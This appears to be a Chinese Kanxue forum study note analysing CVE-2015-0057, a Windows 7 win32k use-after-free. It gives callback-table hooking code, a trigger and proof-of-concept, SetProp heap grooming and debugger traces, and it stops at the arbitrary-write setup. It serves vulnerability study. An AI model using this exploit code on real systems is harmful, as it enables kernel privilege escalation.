其他
CVE-2015-0057提权漏洞学习笔记
本文为看雪论坛精华文章
看雪论坛作者ID:1900
一
前言
1.漏洞描述
2.实验环境
操作系统:Win7 x86 sp1 专业版
编译器:Visual Studio 2017
调试器:IDA Pro,OllyDbg,WinDbg
一
漏洞分析
1.漏洞成因
2: kd> dt -v win32k!tagWND
struct tagWND, 170 elements, 0xb0 bytes
+0x000 head : struct _THRDESKHEAD, 5 elements, 0x14 bytes
+0x014 state : Uint4B
+0x018 state2 : Uint4B
+0x01c ExStyle : Uint4B
+0x020 style : Uint4B
+0x024 hModule : Ptr32 to Void
+0x028 hMod16 : Uint2B
+0x02a fnid : Uint2B
+0x02c spwndNext : Ptr32 to struct tagWND, 170 elements, 0xb0 bytes
+0x030 spwndPrev : Ptr32 to struct tagWND, 170 elements, 0xb0 bytes
+0x034 spwndParent : Ptr32 to struct tagWND, 170 elements, 0xb0 bytes
+0x038 spwndChild : Ptr32 to struct tagWND, 170 elements, 0xb0 bytes
+0x03c spwndOwner : Ptr32 to struct tagWND, 170 elements, 0xb0 bytes
+0x040 rcWindow : struct tagRECT, 4 elements, 0x10 bytes
+0x050 rcClient : struct tagRECT, 4 elements, 0x10 bytes
+0x060 lpfnWndProc : Ptr32 to long
+0x064 pcls : Ptr32 to struct tagCLS, 25 elements, 0x5c bytes
+0x068 hrgnUpdate : Ptr32 to struct HRGN__, 1 elements, 0x4 bytes
+0x06c ppropList : Ptr32 to struct tagPROPLIST, 3 elements, 0x10 bytes
+0x070 pSBInfo : Ptr32 to struct tagSBINFO, 3 elements, 0x24 bytes
+0x074 spmenuSys : Ptr32 to struct tagMENU, 19 elements, 0x6c bytes
+0x078 spmenu : Ptr32 to struct tagMENU, 19 elements, 0x6c bytes
+0x07c hrgnClip : Ptr32 to struct HRGN__, 1 elements, 0x4 bytes
+0x080 hrgnNewFrame : Ptr32 to struct HRGN__, 1 elements, 0x4 bytes
+0x084 strName : struct _LARGE_UNICODE_STRING, 4 elements, 0xc bytes
+0x090 cbwndExtra : Int4B
+0x094 spwndLastActive : Ptr32 to struct tagWND, 170 elements, 0xb0 bytes
+0x098 hImc : Ptr32 to struct HIMC__, 1 elements, 0x4 bytes
+0x09c dwUserData : Uint4B
+0x0a0 pActCtx : Ptr32 to struct _ACTIVATION_CONTEXT, 0 elements, 0x0 bytes
+0x0a4 pTransform : Ptr32 to struct _D3DMATRIX, 16 elements, 0x40 bytes
+0x0a8 spwndClipboardListenerNext : Ptr32 to struct tagWND, 170 elements, 0xb0 bytes
+0x0ac ExStyle2 : Uint4B
2: kd> dt -v win32k!tagSBINFO -r
struct tagSBINFO, 3 elements, 0x24 bytes
+0x000 WSBflags : Int4B
+0x004 Horz : struct tagSBDATA, 4 elements, 0x10 bytes // 保存水平滚动条的相关信息
+0x000 posMin : Int4B
+0x004 posMax : Int4B
+0x008 page : Int4B
+0x00c pos : Int4B
+0x014 Vert : struct tagSBDATA, 4 elements, 0x10 bytes // 保存垂直滚动条的相关信息
+0x000 posMin : Int4B
+0x004 posMax : Int4B
+0x008 page : Int4B
+0x00c pos : Int4B
signed int __stdcall xxxEnableWndSBArrows(int pTagWnd, int wSBflags, int wArrow)
{
int var_pTagWnd;
int *SBInfo;
var_pTagWnd = pTagWnd;
SBInfo = *(int **)(pTagWnd + 0x70); // tagWND偏移0x70保存的是pSBInfo,对其进行解引用得到结构体tagSBINFO的地址
if ( SBInfo )
{
// 取出tagSBINFO的第一个成员,即WSBflags
WSBflags = *SBInfo;
}
if ( !wSBflags || wSBflags == 3 ) // 判断wSBflags是否不为0或等于3
{
if ( wArrow ) // 判断wArrow是否为0
*SBInfo |= wArrow; // 不为0,将tagSBINFO的第一个成员,即WSBflags的值与wArrow进行或运算
else
*SBInfo &= 0xFFFFFFFC; // 为0则低两位清0
if ( *SBInfo != WSBflags ) // 判断WSBflags是否发生更改
{
if ( *(_BYTE *)(var_pTagWnd + 0x14) & 4 )
{
// IsVisible将会对tagWND是否可见进行判断,可见则返回TRUE
if ( !(*(_BYTE *)(var_pTagWnd + 0x23) & 0x20) && IsVisible(var_pTagWnd) )
// 该函数的调用会返回到用户层执行代码,此时用户可以通过HOOK来释放tagWND从而导致对应的tagSBINFO对象也被释放
xxxDrawScrollBar((_DWORD *)var_pTagWnd, WinDC, 0);
}
}
}
if ( wSBflags == 1 || wSBflags == 3) // 判断wSBflags是否等于1或者等于3
{
// 对WSBflags进行计算,这里没有验证tagSBINFO是否存在,导致漏洞的产生
*SBInfo = wArrow ? 4 * wArrow | *SBInfo : *SBInfo & 0xFFFFFFF3;
}
}
2.执行用户层函数
.text:BF895BD9 lea eax, [ebp+var_228]
.text:BF895BDF push eax
.text:BF895BE0 lea eax, [ebp+var_22C]
.text:BF895BE6 push eax
.text:BF895BE7 push dword ptr [esi]
.text:BF895BE9 push esi
.text:BF895BEA push 41h
.text:BF895BEC call ds:__imp__KeUserModeCallback@20 ; KeUserModeCallback(x,x,x,x,x)
.text:BF895BF2 mov edi, eax
NTSTATUS
NTAPI
KeUserModeCallback(IN ULONG RoutineIndex,
IN PVOID Argument,
IN ULONG ArgumentLength,
OUT PVOID *Result,
OUT PULONG ResultLength)
kd> dt _PEB
ntdll!_PEB
+0x02c KernelCallbackTable : Ptr32 Void
BOOL HookClientLoadLibrary()
{
BOOL bRet = TRUE;
PDWORD dwTarFuncAddr = 0;
DWORD dwOldProtect = 0;
dwTarFuncAddr = GetClientLoadLibrary();
// 保存原函数
g_dwOrgClientLoadLibrary = *dwTarFuncAddr;
// 修改页属性为可读可写
if (!VirtualProtect(dwTarFuncAddr,
sizeof(DWORD),
PAGE_READWRITE,
&dwOldProtect))
{
bRet = FALSE;
ShowError("VirtualProtect", GetLastError());
goto exit;
}
// HOOK原函数
*dwTarFuncAddr = (DWORD)MyClientLoadLibrary;
// 恢复页属性
if (!VirtualProtect(dwTarFuncAddr,
sizeof(DWORD),
dwOldProtect,
&dwOldProtect))
{
bRet = FALSE;
ShowError("VirtualProtect", GetLastError());
goto exit;
}
exit:
return bRet;
}
PDWORD GetClientLoadLibrary()
{
// 获取ClientLoadLibrary函数地址的函数表地址
__asm
{
mov eax, fs:[0x30] // eax = PEB
mov eax, [eax + 0x2C] // eax = KernelCallbackTable
lea eax, [eax + 0x41 * 4] // eax = ClientLoadLibrary
}
}
三
漏洞验证
1.漏洞触发
HWND
WINAPI
CreateWindowExA(
__in DWORD dwExStyle,
__in_opt LPCSTR lpClassName,
__in_opt LPCSTR lpWindowName,
__in DWORD dwStyle,
__in int X,
__in int Y,
__in int nWidth,
__in int nHeight,
__in_opt HWND hWndParent,
__in_opt HMENU hMenu,
__in_opt HINSTANCE hInstance,
__in_opt LPVOID lpParam);
#define WS_VSCROLL 0x00200000L
#define WS_HSCROLL 0x00100000L
BOOL ShowWindow(HWND hWnd,int nCmdShow);
#define SW_SHOW 5
BOOL EnableScrollBar(HWND hWnd,
UINT wSBflags,
UINT wArrows);
/*
* Scroll Bar Constants
*/
#define SB_HORZ 0
#define SB_VERT 1
#define SB_CTL 2
#define SB_BOTH 3
/*
* EnableScrollBar() flags
*/
#define ESB_ENABLE_BOTH 0x0000
#define ESB_DISABLE_BOTH 0x0003
#define ESB_DISABLE_LEFT 0x0001
#define ESB_DISABLE_RIGHT 0x0002
#define ESB_DISABLE_UP 0x0001
#define ESB_DISABLE_DOWN 0x0002
BOOL Trigger_CVE_2015_0057()
{
BOOL bRet = TRUE;
CHAR className[] = "Trigger";
WNDCLASSEX wc = { 0 };
memset(&wc, 0, sizeof(WNDCLASSEX));
wc.cbSize = sizeof(WNDCLASSEX);
wc.lpfnWndProc = DefWindowProc;
wc.hInstance = GetModuleHandle(NULL);
wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wc.lpszClassName = className;
wc.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
if (!RegisterClassEx(&wc))
{
bRet = FALSE;
ShowError("RegisterClassEx", GetLastError());
goto exit;
}
g_hWnd_2015_0057 = CreateWindowEx(0,
className,
0,
SBS_HORZ |
WS_HSCROLL |
WS_VSCROLL,
10,
10,
100,
100,
NULL,
NULL,
NULL,
NULL);
if (!g_hWnd_2015_0057)
{
ShowError("CreateWindowEx", GetLastError());
bRet = FALSE;
goto exit;
}
// 让创建可见,绕过IsVisible函数的判断
ShowWindow(g_hWnd_2015_0057, SW_SHOW);
UpdateWindow(g_hWnd_2015_0057);
// 设置标记,表明调用函数的时候是要触发漏洞的时候
g_bFlag_2015_0057 = TRUE;
//触发漏洞
if (!EnableScrollBar(g_hWnd_2015_0057,
SB_BOTH,
ESB_DISABLE_BOTH))
{
ShowError("EnableScrollBar", GetLastError());
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}
2.POC代码编写
BOOL POC_CVE_2015_0057()
{
BOOL bRet = TRUE;
if (!HookClientLoadLibrary())
{
bRet = FALSE;
goto exit;
}
if (!Trigger_CVE_2015_0057())
{
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}
DWORD MyClientLoadLibrary(DWORD arg0)
{
if (g_bFlag_2015_0057)
{
g_dwCount_2015_0057++;
if (g_dwCount_2015_0057 == 2)
{
g_bFlag_2015_0057 = FALSE;
if (!DestroyWindow(g_hWnd_2015_0057))
{
ShowError("DestroyWindow", GetLastError());
goto exit;
}
UnHookClientLoadLibrary();
}
}
exit:
char buf[0x1000] = { 0 };
return ((lpClientLoadLibrary)g_dwOrgClientLoadLibrary)((DWORD)buf);
}
win32k!xxxEnableWndSBArrows+0x8e:
96989bf7 6a00 push 0
3: kd> p
win32k!xxxEnableWndSBArrows+0x90:
96989bf9 ff75fc push dword ptr [ebp-4]
3: kd> p
win32k!xxxEnableWndSBArrows+0x93:
96989bfc 57 push edi
3: kd> p
win32k!xxxEnableWndSBArrows+0x94:
96989bfd e83fcd0100 call win32k!xxxDrawScrollBar (969a6941)
3: kd> r edi
edi=fea0f9c0
3: kd> dt tagWND fea0f9c0 -r pSBInfo
win32k!tagWND
+0x070 pSBInfo : 0xfea0fa78 tagSBINFO
3: kd> dt tagSBINFO 0xfea0fa78
win32k!tagSBINFO
+0x000 WSBflags : 0n3
+0x004 Horz : tagSBDATA
+0x014 Vert : tagSBDATA
3: kd> p
win32k!xxxEnableWndSBArrows+0x99:
96989c02 8b06 mov eax,dword ptr [esi]
2: kd> dt tagWND fea0f9c0 -r pSBInfo
win32k!tagWND
+0x070 pSBInfo : (null)
2: kd> dt tagSBINFO 0xfea0fa78
win32k!tagSBINFO
+0x000 WSBflags : 0n-23004480
+0x004 Horz : tagSBDATA
+0x014 Vert : tagSBDATA
3: kd> p
win32k!xxxEnableWndSBArrows+0xdf:
96989c48 c1e002 shl eax,2
3: kd> p
win32k!xxxEnableWndSBArrows+0xe2:
96989c4b 0906 or dword ptr [esi],eax
3: kd> p
win32k!xxxEnableWndSBArrows+0xe4:
96989c4d 8b4508 mov eax,dword ptr [ebp+8]
3: kd> r esi
esi=fea0fa78
3: kd> r eax
eax=0000000c
3: kd> dt tagSBINFO 0xfea0fa78
win32k!tagSBINFO
+0x000 WSBflags : 0n-23004468
+0x004 Horz : tagSBDATA
+0x014 Vert : tagSBDATA
四
漏洞利用
1.内存填充
BOOL SetProp(HWND hWnd,
LPCTSTR lpString,
HANDLE hData);
BOOL Init_CVE_2015_0057()
{
BOOL bRet = TRUE;
DWORD i = 0;
char className[] = "Fake";
WNDCLASSEXA wc = { 0 };
memset(&wc, 0, sizeof(wc));
wc.cbSize = sizeof(wc);
wc.hInstance = GetModuleHandleA(NULL);
wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wc.lpszClassName = className;
wc.hIconSm = LoadIcon(NULL, IDI_APPLICATION);
wc.lpfnWndProc = WndProc_CVE_2015_0057;
if (!RegisterClassExA(&wc))
{
bRet = FALSE;
ShowError("RegisterClassExA", GetLastError());
goto exit;
}
// 消耗空闲内存块
for (i = 0; i < JUNK_OBJECTS; i++)
{
HWND hWnd = CreateWindowExA(0,
className,
NULL,
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
NULL,
NULL,
NULL,
NULL);
if (!hWnd)
{
bRet = FALSE;
ShowError("CreateWindowExA", GetLastError());
goto exit;
}
if (!SetProp(hWnd, (LPCSTR)(1), (HANDLE)0x1900))
{
bRet = FALSE;
ShowError("SetProp", GetLastError());
goto exit;
}
if (!SetProp(hWnd, (LPCSTR)(1), (HANDLE)0x1900))
{
bRet = FALSE;
ShowError("SetProp", GetLastError());
goto exit;
}
}
// 用来占用tagSBINFO
for (i = 0; i < FAKE_OBJECTS; i++)
{
g_hWndFake_2015_0057[i] = CreateWindowExA(0,
className,
NULL,
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
NULL,
NULL,
NULL,
NULL);
if (!g_hWndFake_2015_0057[i])
{
bRet = FALSE;
ShowError("CreateWindowExA", GetLastError());
goto exit;
}
if (!SetProp(g_hWndFake_2015_0057[i], (LPCSTR)(1), (HANDLE)0x1900))
{
bRet = FALSE;
ShowError("SetProp", GetLastError());
goto exit;
}
if (!SetProp(g_hWndFake_2015_0057[i], (LPCSTR)(2), (HANDLE)0x1900))
{
bRet = FALSE;
ShowError("SetProp", GetLastError());
goto exit;
}
}
exit:
return bRet;
}
DWORD MyClientLoadLibrary(DWORD arg0)
{
if (g_bFlag_2015_0057)
{
g_dwCount_2015_0057++;
if (g_dwCount_2015_0057 == 2)
{
g_bFlag_2015_0057 = FALSE;
// 销毁tagWND对象,跟着也会销毁tagSBINFO对象
if (!DestroyWindow(g_hWnd_2015_0057))
{
ShowError("DestroyWindow", GetLastError());
goto exit;
}
UnHookClientLoadLibrary();
// 增加tagPROP,让tagPROPLIST占用tagSBINFO
for (DWORD i = 1; i < FAKE_OBJECTS; i++)
{
SetProp(g_hWndFake_2015_0057[i], (LPCSTR)(3), (HANDLE)0x1874);
}
}
}
exit:
char buf[0x1000] = { 0 };
return ((lpClientLoadLibrary)g_dwOrgClientLoadLibrary)((DWORD)buf);
}
3: kd> p
win32k!xxxEnableWndSBArrows+0x8e:
96e69bf7 6a00 push 0
3: kd> p
win32k!xxxEnableWndSBArrows+0x90:
96e69bf9 ff75fc push dword ptr [ebp-4]
3: kd> p
win32k!xxxEnableWndSBArrows+0x93:
96e69bfc 57 push edi
3: kd> p
win32k!xxxEnableWndSBArrows+0x94:
96e69bfd e83fcd0100 call win32k!xxxDrawScrollBar (96e86941)
3: kd> r edi
edi=feb0aaa0
3: kd> dt tagWND feb0aaa0 -r pSBInfo
win32k!tagWND
+0x070 pSBInfo : 0xfeb0acb8 tagSBINFO
3: kd> dt tagSBINFO 0xfeb0acb8
win32k!tagSBINFO
+0x000 WSBflags : 0n3
+0x004 Horz : tagSBDATA
+0x014 Vert : tagSBDATA
3: kd> p
win32k!xxxEnableWndSBArrows+0x99:
96e69c02 8b06 mov eax,dword ptr [esi]
1: kd> dt tagWND feb0aaa0 -r pSBInfo
win32k!tagWND
+0x070 pSBInfo : (null)
1: kd> dt tagPROPLIST 0xfeb0acb8
win32k!tagPROPLIST
+0x000 cEntries : 3
+0x004 iFirstFree : 3
+0x008 aprop : [1] tagPROP
win32k!xxxEnableWndSBArrows+0xdf:
96e69c48 c1e002 shl eax,2
1: kd> p
win32k!xxxEnableWndSBArrows+0xe2:
96e69c4b 0906 or dword ptr [esi],eax
1: kd> p
win32k!xxxEnableWndSBArrows+0xe4:
96e69c4d 8b4508 mov eax,dword ptr [ebp+8]
1: kd> dt tagPROPLIST 0xfeb0acb8
win32k!tagPROPLIST
+0x000 cEntries : 0xf
+0x004 iFirstFree : 3
+0x008 aprop : [1] tagPROP
2.任意地址写入
3: kd> dt win32k!tagWND -r strName
+0x084 strName : _LARGE_UNICODE_STRING
3: kd> dt -v win32k!_LARGE_UNICODE_STRING
struct _LARGE_UNICODE_STRING, 4 elements, 0xc bytes
+0x000 Length : Uint4B
+0x004 MaximumLength : Bitfield Pos 0, 31 Bits
+0x004 bAnsi : Bitfield Pos 31, 1 Bit
+0x008 Buffer : Ptr32 to Uint2B
VOID
NTAPI
RtlInitLargeUnicodeString(PLARGE_UNICODE_STRING DestinationString,
PCWSTR SourceString,
INT Unknown,
INT datasize)
BOOL NTAPI NtUserDefSetText(HWND hwnd, PLARGE_UNICODE_STRING pstrText);
2: kd> dt -v win32k!tagSBINFO -r
struct tagSBINFO, 3 elements, 0x24 bytes
+0x000 WSBflags : Int4B
+0x004 Horz : struct tagSBDATA, 4 elements, 0x10 bytes // 保存水平滚动条的相关信息
+0x000 posMin : Int4B
+0x004 posMax : Int4B
+0x008 page : Int4B
+0x00c pos : Int4B
+0x014 Vert : struct tagSBDATA, 4 elements, 0x10 bytes // 保存垂直滚动条的相关信息
+0x000 posMin : Int4B
+0x004 posMax : Int4B
+0x008 page : Int4B
+0x00c pos : Int4B
int SetScrollInfo(
HWND hwnd,
int fnBar,
LPCSCROLLINFO lpsi,
BOOL fRedraw);
typedef struct tagSCROLLINFO {
UINT cbSize;
UINT fMask;
int nMin;
int nMax;
UINT nPage;
int nPos;
int nTrackPos;
} SCROLLINFO, *LPSCROLLINFO;
typedef SCROLLINFO CONST *LPCSCROLLINFO;
参考链接
https://www.anquanke.com/post/id/192604 https://www.anquanke.com/post/id/163973 https://bbs.pediy.com/thread-247281.htm
看雪ID:1900
https://bbs.pediy.com/user-home-835440.htm
# 往期推荐
4.万字长文详解CVE-2014-1767提权漏洞分析与利用(x86x64)
6.一种新的Android Runtime环境仿真及调试方法
球分享
球点赞
球在看
点击“阅读原文”,了解更多!